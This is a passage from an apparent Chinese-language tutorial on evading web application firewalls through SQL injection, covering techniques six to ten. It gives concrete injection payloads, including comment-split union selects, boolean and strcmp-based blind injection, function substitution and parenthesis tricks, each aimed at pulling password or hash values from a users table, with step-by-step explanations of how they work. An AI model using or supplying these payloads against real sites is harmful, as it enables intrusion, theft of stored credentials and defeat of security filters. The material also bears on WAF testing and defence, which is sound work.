background image

最终解析为:
01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是
也可以一试。
6.使用逻辑运算符 or /and 绕过
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
顺便解释一下第二句话,从最里面的括号开始分析,

select+pwd+from+users+limit+1,1 这句

是从

users 表里查询 pwd 字段的第一条记录,比如是 admin,

然后

mid(上一句),1,1 就是取 admin 的第一个字符,也就是 a,

lower(上一句)就是把字符转换为小写,
然后

ascii 就是把 a 转换成 ascii 码,看等不等于 74。

7.比较操作符替换
包括

!= 不等于,<>不等于,< 小于,>大于,这些都可以用来替换=来绕过。

比如上一个例子,要判断是不是

74,假设=被过滤,那么我们可以判断是不是大于 73,是

不是小于

75,然后就知道是 74 了。。很多 WAF 都会忘了这个。

8.同功能函数替换
Substring()可以用 mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。
Ascii()编码可以用 hex(),bin(),也就是 16 进制和二进制编码替换。Benchmark()可以用 sleep()
来替换,这两个使用在基于延时的盲注中,有机会给大家介绍。
如果连这些都屏蔽了,还有一种新的方法:
01.  substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如这三条,都是从

password 里判断第一个字符的值,可以用:

01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
来替换,

left 用来取字符串左起 1 位的值,strcmp 用来比较两个值,如果比较结果相等就为

0,左边小的话就为-1,否则为 1。
还有我前几篇说过的

group_concat 和 concat 和 concat_ws 也可以互相替换。

9.盲注无需 or 和 and
比如有这样一个注入点:
01.index.php?uid=123
and、or 被过滤了,其实有一种更直接的方法,我们直接修改 123 为我们的语句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123 的时候页面是正确的,我们现在在盲猜 hash 的第一位,如果第一位等于 0x42 也就是
B,那么 strcmp 结果为 0,0+123=123,所以页面应该是正确的。否则就说明不是 B,就这样
猜,不用

and 和 or 了。

10. 加括号
01./?id=1+union+(select+1,2+from+users)
比如,上面这一条被

WAF 拦截了。可以试试加一些括号:

01./?id=1+union+(select+1,2+from+xxx)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))